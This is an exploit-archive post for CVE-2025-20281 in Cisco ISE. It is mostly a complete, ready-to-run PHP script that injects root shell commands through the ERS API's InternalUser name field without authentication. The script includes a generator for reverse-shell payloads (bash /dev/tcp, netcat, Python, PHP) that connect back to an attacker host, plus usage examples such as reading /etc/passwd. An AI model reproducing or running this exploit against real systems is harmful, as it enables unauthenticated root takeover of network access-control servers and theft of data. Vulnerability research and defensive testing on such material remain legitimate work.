============================================================================================================================================= | # Title : Cisco ISE API 3.2 command injection Exploits | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.cisco.com/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/212002/ & CVE-2025-20281 [+] Summary : CVE-2025-20281 is a critical unauthenticated remote code execution vulnerability in Cisco Identity Services Engine (ISE) ERS API. The vulnerability allows attackers to execute arbitrary system commands as root without any authentication by exploiting command injection in the InternalUser name field. The vulnerability exists in the ERS (External RESTful Services) API of Cisco ISE where user input in the InternalUser name field is improperly sanitized before being processed. Attackers can inject system commands through crafted payloads that are executed with root privileges on the underlying operating system. [+] POC : Examples: Primary Use: # Vulnerability Testing php cisco_ise_exploit.php --whoami 192.168.1.100 # Executing a Custom Command php cisco_ise_exploit.php --cmd "id" 192.168.1.100 # Connectivity Testing Only php cisco_ise_exploit.php --test 192.168.1.100 Reverse Shell: # Creating a Reverse Shell php cisco_ise_exploit.php --reverse 10.0.0.50 4444 192.168.1.100 # With SSL Verification php cisco_ise_exploit.php --reverse 10.0.0.50 4444 --verify-ssl 192.168.1.100 Advanced Commands: # Extract System Information php cisco_ise_exploit.php --cmd "uname -a" 192.168.1.100 # Display Users php cisco_ise_exploit.php --cmd "cat /etc/passwd" 192.168.1.100 # Scan Network php cisco_ise_exploit.php --cmd "ifconfig" 192.168.1.100 target = $target; $this->verify_ssl = $verify_ssl; } private function makeRequest($url, $payload) { $ch = curl_init(); $options = [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => json_encode($payload), CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'User-Agent: Cisco-ISE-Exploit/1.0' ], CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => $this->verify_ssl, CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0 ]; curl_setopt_array($ch, $options); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error) { throw new Exception("cURL error: " . $error); } return [ 'status' => $http_code, 'body' => $response ]; } public function exploit($cmd) { $url = "https://{$this->target}:9060/ers/sdk#_"; // Alternative URL if needed: // $url = "https://{$this->target}/ers/sdk#_"; $payload = [ "InternalUser" => [ "name" => "pwn; {$cmd}; #", "password" => "x", // dummy value, ignored by vulnerability "changePassword" => false ] ]; echo "[*] Sending payload to: {$url}\n"; echo "[*] Command: {$cmd}\n\n"; try { $response = $this->makeRequest($url, $payload); echo "[+] HTTP {$response['status']}\n"; echo "Response:\n{$response['body']}\n"; return $response; } catch (Exception $e) { echo "[!] Exploit failed: " . $e->getMessage() . "\n"; return false; } } public function buildReverseShell($lhost, $lport) { // Multiple reverse shell options for compatibility $shells = [ // Bash reverse shell "/bin/bash -c '/bin/bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'", // Netcat traditional "nc -e /bin/bash {$lhost} {$lport}", // Netcat with -e support "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {$lhost} {$lport} >/tmp/f", // Python reverse shell "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$lhost}\",{$lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", // PHP reverse shell "php -r '\$s=fsockopen(\"{$lhost}\",{$lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'" ]; // Return bash reverse shell by default (most reliable) return $shells[0]; } public function testConnection() { $url = "https://{$this->target}:9060/ers/sdk"; echo "[*] Testing connection to: {$url}\n"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_NOBODY => true // HEAD request ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code > 0) { echo "[+] Target is reachable (HTTP {$http_code})\n"; return true; } else { echo "[!] Target is not reachable\n"; return false; } } } function showBanner() { echo "=== CVE-2025-20281 Cisco ISE Unauthenticated RCE Exploit ===\n"; echo "=== PHP Version - Unauthenticated Command Injection ===\n\n"; } function showHelp() { echo "Usage: php cisco_ise_exploit.php [OPTIONS] \n\n"; echo "Arguments:\n"; echo " IP address or hostname of Cisco ISE PAN\n\n"; echo "Options:\n"; echo " --whoami Run 'whoami' command to test RCE\n"; echo " --reverse LHOST LPORT Spawn reverse shell to LHOST:LPORT\n"; echo " --cmd COMMAND Execute custom command\n"; echo " --test Test connection to target only\n"; echo " --verify-ssl Enable SSL certificate verification\n"; echo " --help Show this help message\n\n"; echo "Examples:\n"; echo " php cisco_ise_exploit.php --whoami 192.168.1.100\n"; echo " php cisco_ise_exploit.php --reverse 10.0.0.50 4444 192.168.1.100\n"; echo " php cisco_ise_exploit.php --cmd 'id' 192.168.1.100\n"; echo " php cisco_ise_exploit.php --test 192.168.1.100\n"; } function parseArguments($argv) { $options = [ 'target' => null, 'whoami' => false, 'reverse' => null, 'cmd' => null, 'test' => false, 'verify_ssl' => false, 'help' => false ]; // Simple argument parsing for ($i = 1; $i < count($argv); $i++) { switch ($argv[$i]) { case '--whoami': $options['whoami'] = true; break; case '--reverse': if ($i + 2 < count($argv)) { $options['reverse'] = [$argv[$i + 1], $argv[$i + 2]]; $i += 2; } break; case '--cmd': if ($i + 1 < count($argv)) { $options['cmd'] = $argv[$i + 1]; $i += 1; } break; case '--test': $options['test'] = true; break; case '--verify-ssl': $options['verify_ssl'] = true; break; case '--help': $options['help'] = true; break; default: // Assume this is the target if it doesn't start with -- if (!str_starts_with($argv[$i], '--')) { $options['target'] = $argv[$i]; } break; } } return $options; } // Main execution if (php_sapi_name() === 'cli') { showBanner(); $options = parseArguments($argv); if ($options['help'] || !$options['target']) { showHelp(); exit(0); } $exploit = new CiscoISEExploit($options['target'], $options['verify_ssl']); // Test connection only if ($options['test']) { $exploit->testConnection(); exit(0); } // Determine command to execute $cmd = ''; if ($options['whoami']) { $cmd = 'whoami'; } elseif ($options['reverse']) { list($lhost, $lport) = $options['reverse']; $cmd = $exploit->buildReverseShell($lhost, $lport); echo "[*] Reverse shell payload generated for {$lhost}:{$lport}\n"; } elseif ($options['cmd']) { $cmd = $options['cmd']; } else { echo "[!] No command specified. Use --whoami, --reverse, or --cmd\n"; showHelp(); exit(1); } echo "[*] Target: {$options['target']}\n"; echo "[*] Command: {$cmd}\n\n"; // Execute exploit $result = $exploit->exploit($cmd); if ($result) { echo "\n[+] Exploit attempt completed.\n"; if ($options['reverse']) { echo "[*] Check your listener for reverse shell connection\n"; } } else { echo "\n[!] Exploit failed.\n"; exit(1); } } else { echo "This script must be run from the command line.\n"; exit(1); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================